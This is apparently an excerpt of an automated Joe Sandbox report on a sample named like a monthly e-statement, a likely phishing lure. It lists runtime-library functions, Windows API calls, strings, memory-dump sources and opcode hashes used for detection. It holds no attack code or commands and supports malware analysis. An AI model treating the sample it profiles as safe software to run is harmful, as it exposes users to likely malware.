Instruction ID: 06fce974de17d7221f5be0bf77e1c426690c15c63955b06d188257224534956f
Opcode Fuzzy Hash: 0db09eb4297cbc77bd692f9a563afad21cf43259592abcdedd9a1d278d5542cf
Instruction Fuzzy Hash: C5312875D052289BDF20DFA4D9497CDBBB8AF09300F1041AAE40CAB254EB709A84CF85

Function 009A4A4B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 009A4BDE
kz]G, xrefs: 009A4AEC

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID:
String ID: .$kz]G
API String ID: 0-3939051151
Opcode ID: 755807c51d76ff2239521368b5c3878f2b360dbc7f6c6359167cfea85f03f96c
Instruction ID: a736c26d3f78c787846529288bf6624265037eec027ccf791048cc65c991ca50
Opcode Fuzzy Hash: 755807c51d76ff2239521368b5c3878f2b360dbc7f6c6359167cfea85f03f96c
Instruction Fuzzy Hash: 5E31D072900249ABCB249E78CC85FEE7BBDEBC6314F1441A8E51997251E6B09D448BA0

Function 009A3677 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,009A364D,?,009B02E0,0000000C,009A37A4,?,00000002,00000000,?,009A3F66,00000003,009A209F,009A1AFC), ref: 009A3698
TerminateProcess.KERNEL32(00000000,?,009A364D,?,009B02E0,0000000C,009A37A4,?,00000002,00000000,?,009A3F66,00000003,009A209F,009A1AFC), ref: 009A369F
ExitProcess.KERNEL32 ref: 009A36B1

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c20ed2cde65e3bd143c915072d79c916d23284e4f95ef07d3d641eb5bec41e37
Instruction ID: 6c451d8aa7985fbf570d9d2f49e76e523b802f9d70dbe27a7058038bf9fa2a41
Opcode Fuzzy Hash: c20ed2cde65e3bd143c915072d79c916d23284e4f95ef07d3d641eb5bec41e37
Instruction Fuzzy Hash: 53E04671024108AFCF11AF54CD0AB5A3B29FF82341B008014FA058A232DB35DE42DAD0

Function 009AA495 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,009AA490,?,?,00000008,?,?,009AA130,00000000), ref: 009AA6C2

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: fd83222292119b67a171a0d66f87a27c13b266168e1e94e19e1e5e56ce738306
Instruction ID: 7ceb81b99e7a8416d7c8924af04dd5166457f13b30d289777743a85ade25f070
Opcode Fuzzy Hash: fd83222292119b67a171a0d66f87a27c13b266168e1e94e19e1e5e56ce738306
Instruction Fuzzy Hash: 9EB13E31510608DFD715CF28C48AB697BE0FF46364F298658E89ACF2A1C339D991CF81

Function 009A1BD4 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 009A1BEA

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: deb025b74409410fa5a843638437d8b93d893843f1f28ec20e9871d0ff3684f7
Instruction ID: c7809a95a35f86e25fc3cdff01c9577e3a17c5e8e3f38ba79b8ecaef05d5a6c8
Opcode Fuzzy Hash: deb025b74409410fa5a843638437d8b93d893843f1f28ec20e9871d0ff3684f7
Instruction Fuzzy Hash: 1B51AEB1E242158FEB18CF65D9917AEBBF8FB49320F14812AC401EB394D3749940CF90

Function 009A1AAC Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00001AB8,009A1300), ref: 009A1AB1

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 534273db4cb9ddfc80f6b0108d7eba292ae9aeb2bdb50cefd2ddb685565a0f7a
Instruction ID: bb03f6db80ca37c75cdd02c30710ef7825d2bfefd6d27f2171b26754eb40b12f
Opcode Fuzzy Hash: 534273db4cb9ddfc80f6b0108d7eba292ae9aeb2bdb50cefd2ddb685565a0f7a
Instruction Fuzzy Hash:

Function 009A6893 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 009A6893

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f7ab550c790545e00fed4581880e5676519b0946be6918a161072b9d248add75
Instruction ID: ac4496a54f438b9265d2ca688cb9a4f2742e9d7a0329d5420ae627965a850822
Opcode Fuzzy Hash: f7ab550c790545e00fed4581880e5676519b0946be6918a161072b9d248add75
Instruction Fuzzy Hash: A8A0113032C2028B83008F38AB8A2083AA8AA02AA0B020028A008C8020EB208080BA02

Function 009A6507 Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 009A654B

Part of subcall function 009A6078: _free.LIBCMT ref: 009A6095
Part of subcall function 009A6078: _free.LIBCMT ref: 009A60A7
Part of subcall function 009A6078: _free.LIBCMT ref: 009A60B9
Part of subcall function 009A6078: _free.LIBCMT ref: 009A60CB
Part of subcall function 009A6078: _free.LIBCMT ref: 009A60DD
Part of subcall function 009A6078: _free.LIBCMT ref: 009A60EF
Part of subcall function 009A6078: _free.LIBCMT ref: 009A6101
Part of subcall function 009A6078: _free.LIBCMT ref: 009A6113
Part of subcall function 009A6078: _free.LIBCMT ref: 009A6125
Part of subcall function 009A6078: _free.LIBCMT ref: 009A6137
Part of subcall function 009A6078: _free.LIBCMT ref: 009A6149
Part of subcall function 009A6078: _free.LIBCMT ref: 009A615B
Part of subcall function 009A6078: _free.LIBCMT ref: 009A616D

_free.LIBCMT ref: 009A6540

Part of subcall function 009A4869: HeapFree.KERNEL32(00000000,00000000,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?), ref: 009A487F
Part of subcall function 009A4869: GetLastError.KERNEL32(?,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?,?), ref: 009A4891

_free.LIBCMT ref: 009A6562
_free.LIBCMT ref: 009A6577
_free.LIBCMT ref: 009A6582
_free.LIBCMT ref: 009A65A4
_free.LIBCMT ref: 009A65B7
_free.LIBCMT ref: 009A65C5
_free.LIBCMT ref: 009A65D0
_free.LIBCMT ref: 009A6608
_free.LIBCMT ref: 009A660F
_free.LIBCMT ref: 009A662C
_free.LIBCMT ref: 009A6644

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 2ed392ca81fcc52f7c564297b3ae5696f0c7640bbf8b659991b5e8a8431de68c
Instruction ID: 5b31e9f42d622e8aecafe0b0bc0c968af525430ded3f75156c02157e4f776823
Opcode Fuzzy Hash: 2ed392ca81fcc52f7c564297b3ae5696f0c7640bbf8b659991b5e8a8431de68c
Instruction Fuzzy Hash: F6315E71A00304DFEB60AA7EE805B5AB3ECEF82310F18542AF059DB191DE78ED40CB90

Function 009A7AB4 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,009A54C8,00000000,?,?,?,009A7D05,?,?,00000100), ref: 009A7B0E
__alloca_probe_16.LIBCMT ref: 009A7B46
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,009A7D05,?,?,00000100,5EFC4D8B,?,?), ref: 009A7B94
__alloca_probe_16.LIBCMT ref: 009A7C2B
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 009A7C8E
__freea.LIBCMT ref: 009A7C9B

Part of subcall function 009A62FF: HeapAlloc.KERNEL32(00000000,?,00000004,?,009A7E5B,?,00000000,?,009A686F,?,00000004,00000000,?,?,?,009A3BCD), ref: 009A6331

__freea.LIBCMT ref: 009A7CA4
__freea.LIBCMT ref: 009A7CC9

Strings

kz]G, xrefs: 009A7ABB

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocHeap
String ID: kz]G
API String ID: 2597970681-1940436402
Opcode ID: 662ea1d0ca8d64d7ecda816ff06b59cc9e76c005d800bfeb50c2a4bd76742d46
Instruction ID: 3d4d0703cb9d689cf4e7dde18baf379c0623f53bd0e363dae7bca633d317442e
Opcode Fuzzy Hash: 662ea1d0ca8d64d7ecda816ff06b59cc9e76c005d800bfeb50c2a4bd76742d46
Instruction Fuzzy Hash: BE51B172614216ABDB259FA4CC42FBBB7BAEB86760B154628FC04D7240EB34DC40D6E0

Function 009A4330 Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 009A4344

Part of subcall function 009A4869: HeapFree.KERNEL32(00000000,00000000,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?), ref: 009A487F
Part of subcall function 009A4869: GetLastError.KERNEL32(?,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?,?), ref: 009A4891

_free.LIBCMT ref: 009A4350
_free.LIBCMT ref: 009A435B
_free.LIBCMT ref: 009A4366
_free.LIBCMT ref: 009A4371
_free.LIBCMT ref: 009A437C
_free.LIBCMT ref: 009A4387
_free.LIBCMT ref: 009A4392
_free.LIBCMT ref: 009A439D
_free.LIBCMT ref: 009A43AB

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3074ea6efbab9327ca2fba8dbce47200db7c59967ccd9b6c2b2b386d9beba889
Instruction ID: 19b5d5831c5d73b796645c3ba19315ffa4d171e42e180286b5cc0a7e64d8dbc9
Opcode Fuzzy Hash: 3074ea6efbab9327ca2fba8dbce47200db7c59967ccd9b6c2b2b386d9beba889
Instruction Fuzzy Hash: D311B976600148FFCB41EF9AE842ED97BB5EFC5750F4140A6B9084F162DA79DE509BC0

Function 009A8417 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,009A8B8C,?,00000000,?,00000000,00000000), ref: 009A8459
__fassign.LIBCMT ref: 009A84D4
__fassign.LIBCMT ref: 009A84EF
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 009A8515
WriteFile.KERNEL32(?,?,00000000,009A8B8C,00000000,?,?,?,?,?,?,?,?,?,009A8B8C,?), ref: 009A8534
WriteFile.KERNEL32(?,?,00000001,009A8B8C,00000000,?,?,?,?,?,?,?,?,?,009A8B8C,?), ref: 009A856D

Strings

kz]G, xrefs: 009A841F

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID: kz]G
API String ID: 1324828854-1940436402
Opcode ID: cf17537c6eacfb2eb28e1a96bc5f5d5049b1836a6b5ab8c6ac5a34d031463bd9
Instruction ID: a9db1ff18a5fcdffe5c57e1266008f56421dd1c17a900e949a5c8f754db6887b
Opcode Fuzzy Hash: cf17537c6eacfb2eb28e1a96bc5f5d5049b1836a6b5ab8c6ac5a34d031463bd9
Instruction Fuzzy Hash: CA519371E002499FDB10CFA8DC99AEEBBF8EF5A310F14415AF955E7291E7309941CBA0

Function 009A1E00 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_ValidateLocalCookies.LIBCMT ref: 009A1E37
___except_validate_context_record.LIBVCRUNTIME ref: 009A1E3F
_ValidateLocalCookies.LIBCMT ref: 009A1EC8
__IsNonwritableInCurrentImage.LIBCMT ref: 009A1EF3
_ValidateLocalCookies.LIBCMT ref: 009A1F48

Strings

kz]G, xrefs: 009A1E29, 009A1EB2, 009A1F2F
csm, xrefs: 009A1EDD

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$kz]G
API String ID: 1170836740-1591210744
Opcode ID: 9deb5a5a7bab78d72cc30f7e01256512401ed6baf7b19b972fbc97f4020ffcac
Instruction ID: 25d75a03ed5cefdf69ec144956e26a92afa75b41ee03024dba6457a2a0602994
Opcode Fuzzy Hash: 9deb5a5a7bab78d72cc30f7e01256512401ed6baf7b19b972fbc97f4020ffcac
Instruction Fuzzy Hash: AE41A134A002489BCF10DF68C885A9EBBF9FF87364F248055EC199B392D735AA05CBD1

Function 009A634D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,009A54C8,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 009A639A
__alloca_probe_16.LIBCMT ref: 009A63D2
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 009A6423
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 009A6435
__freea.LIBCMT ref: 009A643E

Part of subcall function 009A62FF: HeapAlloc.KERNEL32(00000000,?,00000004,?,009A7E5B,?,00000000,?,009A686F,?,00000004,00000000,?,?,?,009A3BCD), ref: 009A6331

Strings

kz]G, xrefs: 009A6355

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ByteCharMultiWide$AllocHeapStringType__alloca_probe_16__freea
String ID: kz]G
API String ID: 1857427562-1940436402
Opcode ID: 96ef51851d1ec01c1c789df759245a571588e0eb3114470f05eae64c0a0c6d40
Instruction ID: 9cce644d7f934345557ece86b594747cf131930fbbefa18a945ae0ce899d1bd4
Opcode Fuzzy Hash: 96ef51851d1ec01c1c789df759245a571588e0eb3114470f05eae64c0a0c6d40
Instruction Fuzzy Hash: 1931EF72A0021AABDF259F64DC45EAE7BB9EF46710F094128FC14D61A0EB35CD51CBE0

Function 009A621B Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A61DF: _free.LIBCMT ref: 009A6208

_free.LIBCMT ref: 009A6269

Part of subcall function 009A4869: HeapFree.KERNEL32(00000000,00000000,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?), ref: 009A487F
Part of subcall function 009A4869: GetLastError.KERNEL32(?,?,009A620D,?,00000000,?,00000000,?,009A6234,?,00000007,?,?,009A669F,?,?), ref: 009A4891

_free.LIBCMT ref: 009A6274
_free.LIBCMT ref: 009A627F
_free.LIBCMT ref: 009A62D3
_free.LIBCMT ref: 009A62DE
_free.LIBCMT ref: 009A62E9
_free.LIBCMT ref: 009A62F4

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1d7f3cd73ca15569adc6f3b3063faa031294499d8d9ad134557c71114fc07fde
Instruction ID: 6861914b4a0c126bc5dadbdfaf5300655e4a133e4b12e61dd80d0af137582fa4
Opcode Fuzzy Hash: 1d7f3cd73ca15569adc6f3b3063faa031294499d8d9ad134557c71114fc07fde
Instruction Fuzzy Hash: 07115171544B14EAD520B7B5CC07FCBBB9C9FC2B00F444825B69AAA093DA69BA0446D0

Function 009A36FC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,009A36AD,?,?,009A364D,?,009B02E0,0000000C,009A37A4,?,00000002), ref: 009A371C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009A372F
FreeLibrary.KERNEL32(00000000,?,?,?,009A36AD,?,?,009A364D,?,009B02E0,0000000C,009A37A4,?,00000002,00000000), ref: 009A3752

Strings

kz]G, xrefs: 009A3703
CorExitProcess, xrefs: 009A3727
mscoree.dll, xrefs: 009A3715

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$kz]G$mscoree.dll
API String ID: 4061214504-2651540594
Opcode ID: f5c5b6b6c3b5cee345cba3c3fc8daa72bf5ce57335e6a38a6a8b8f2249cf5797
Instruction ID: c1947c51899ba33dfa64dfddaae16d4b80009a72cca998fc2dda1e9c2fcc6dfb
Opcode Fuzzy Hash: f5c5b6b6c3b5cee345cba3c3fc8daa72bf5ce57335e6a38a6a8b8f2249cf5797
Instruction Fuzzy Hash: 8EF04F70A14218BBCB119B90DC59BAEBFB8EF4A756F058068F905A21A1DB309A45DAD0

Function 009A23D1 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,009A23C8,009A209F,009A1AFC), ref: 009A23DF
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 009A23ED
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009A2406
SetLastError.KERNEL32(00000000,009A23C8,009A209F,009A1AFC), ref: 009A2458

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 97e89b1f36ae29c6e445d48ba2942f2f2d77e6d086137eb4517b81b861320483
Instruction ID: 1f0778421684a10648ade3a8585c67e4c4cb789bfc5ad5a4ba40bfa6d74fe28f
Opcode Fuzzy Hash: 97e89b1f36ae29c6e445d48ba2942f2f2d77e6d086137eb4517b81b861320483
Instruction Fuzzy Hash: 6F01A23222E7255FAA2437BCBD95B6B2798EB4B7B5730433AF520850F5EF514C81A2D0

Function 009A4424 Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000008,?,009A6D69,?,?,?,009B04C8,0000002C,009A3F34,00000016,009A209F,009A1AFC), ref: 009A4428
_free.LIBCMT ref: 009A445B
_free.LIBCMT ref: 009A4483
SetLastError.KERNEL32(00000000), ref: 009A4490
SetLastError.KERNEL32(00000000), ref: 009A449C
_abort.LIBCMT ref: 009A44A2

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: c5acc7f4753a69f818320f152b2077eb1deda1e2ecf8a15f74329538b6c0d544
Instruction ID: 7c0458da830a0dc059612b4268513a2c57c66747594dc2976933aaa8ec07205b
Opcode Fuzzy Hash: c5acc7f4753a69f818320f152b2077eb1deda1e2ecf8a15f74329538b6c0d544
Instruction Fuzzy Hash: FDF04C32614680A7C61277397C1AB2B32EE9FC77B1B214514F528D61F6EFE88C0151E1

Function 009A561E Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009A5627
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009A564A

